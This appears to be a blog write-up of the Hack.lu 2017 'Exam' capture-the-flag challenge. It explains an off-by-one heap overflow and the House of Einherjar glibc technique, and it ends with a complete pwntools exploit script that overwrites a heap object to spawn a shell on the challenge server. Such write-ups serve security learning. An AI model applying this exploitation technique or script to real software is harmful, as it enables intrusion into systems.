Hack.lu 2017 Exam Write up

Solved by 4rbit3r

This was the first challenge that I attempted from Hack.lu. It was a relatively easy challenge compared to the other higher point challenges.

The binary is 64 bit and has the following protections enabled

CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL

Thankfully, the binary isn’t stripped which saves a lot of time while debugging.

The binary is another menu driven program that stores objects on the heap.

It has the same add, remove, view functionalities. No edit functionality though.

There are three other functionalities provided in addition to these.

The first two are handle_create_crib and handle_tear_crib which does a couple of operations based on the objects that we’ve allocated. I didn’t really focus on reversing those functions. All I noticed was that handle_create_crib allocated a chunk on the heap and handle_tear_crib freed that chunk.

The third functionality, called handle_exam calls system if the first 8 bytes of a chunk was “ITSMAGIC”. Should be pretty easy to do that once we get an overflow.

We’re allowed to create a maximum of 5 objects. Each time an object is created, it is put into the first available location in a table. And when an object is removed, the corresponding table entry is cleared. So no chance of a UAF there.

Also, each object is of size 0x88 and the first 8 bytes are set to “ITSSTUDY” upon allocation.

The vulnerability lies in the get_line function which reads input into a buffer.

a

And here’s get_line.

a

So the terminating condition is ctr > len. So the loop runs from 0 to len which is effectively len+1 times.

So we have a single byte overflow which can be used to corrupt the size field of the next chunk.

So we can perform the House of Einherjar technique here to get an overlapping chunk.

House of Einherjar

Supposed chunk A is being freed. When free checks the size field of A and sees that the PREV_INUSE bit is not set, it assumes that the previous chunk is also free (let’s call this B). Now in order to traverse to the chunk B, it has to obtain the PREV_SZ of A. If the PREV_SZ is a value x, then it obtains the address of chunk B by calculating

B = A – x

Now, if B is a chunk which has been put into an unsorted bin, then B has to be unlinked before backward coalescing can take place. Here you have the unlink sanity check which was introduced to remove the arbitrary write caused by the old unlink vulnerability. However, this merely checks if the BK of the next chunk points to this one itself.

P->FD->BK == P and P->BK->FD == P

Once B has been unlinked, then backward coalescing can take place. This merges the two chunks A and B and then puts the merged chunk into the appropriate unsorted bin.

The important point here is that free can never check if there are any chunks in between A and B. The only way it calculates the address of B is using the equation written above.

So if we control the PREV_SZ field of A, we can cause merging of two chunks which need not be contiguous.

In order to do the same, we need to create 3 chunks of size larger than 128 bytes on the heap (say A, B, C).

Before corrupting :

| 0 | 0x91 |   A (free)| 0 | 0x90 |   B   | 0 | 0x91|   C  |  top_chunk  |

After corrupting:

| 0 | 0x91 |   A (free)| 0 | 0x90 |   B   | x | 0x90|   C   | top_chunk |
(x = C – A)

After merging:

| 0 | (large size) |    top_chunk    | 0 | 0x90 |    B    |….

Now we free A. And then, we corrupt the size field of C to unset the PREV_INUSE bit. Also, we fake the PREV_SZ of C such that C – PREV_SZ points to A. Since A is already in an unsorted bin, unlinking A shouldn’t cause any issues. Now, once all the setup is complete, freeing C will merge A and C which covers the chunk B which is still in use.

So, we can use this method here, to get a free chunk that overlaps an in use chunk.

But the flaw in this idea right now is that every object is of size 0x88. So, even if we get a free chunk that overlaps an in use chunk, we won’t be able to corrupt the first 8 bytes of the object.

This is where the handle_create_crib comes into use. This function allocates a chunk on the heap. So the second chunk we allocate from the overlapping free chunk will cover the chunk created by handle_create_crib and some parts of the next object that is allocated.

We can then use this last chunk to overwrite the first 8 bytes of an object and then call handle_exam to get a shell.

And that worked, without a hitch. Here’s the script.

from pwn import *

prompt = '> '
a, r, s, c, t, e = '1', '2', '3', '4', '5', '6'

def add(payload):
    p.sendlineafter(prompt, a)
    if len(payload) < 0x80:
        payload += '\n'
    p.sendafter(prompt, payload)


def remove(idx):
    p.sendlineafter(prompt, r)
    p.sendlineafter(prompt, str(idx))
    return p.recvlines(2)


def view(idx):
    p.sendlineafter(prompt, s)
    p.sendlineafter(prompt, str(idx))
    p.recvuntil(':\n')
    return p.recvline()


def create_crib():
    p.sendlineafter(prompt, c)
    p.recvuntil('Result:\n')
    return p.recvline()


def tear():
    p.sendlineafter(prompt, t)


def exam(idx):
    p.sendlineafter(prompt, e)
    p.sendlineafter(prompt, str(idx))


if __name__ == '__main__':
    if sys.argv[1] == 'local':
        p = process('./exam', env={'LD_PRELOAD': './libc.so.6'})
    else:
        p = remote('flatearth.fluxfingers.net', 1745)
    add('A'*0x60)
    create_crib()
    add('A'*0x60)
    add('A'*0x60)
    add('A'*0x60)
    remove(2)
    payload = ''.ljust(0x78, 'A') + p64(0x1e0) + '\x90'
    add(payload)
    remove(0)
    remove(3)
    add('A'*0x8)
    payload = fit({0x28: p64(0x434947414d535449)+'/bin/sh\x00'})
    add(payload)
    exam(1)
    p.interactive()

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Create a free website or blog at WordPress.com.

Up ↑

%d bloggers like this: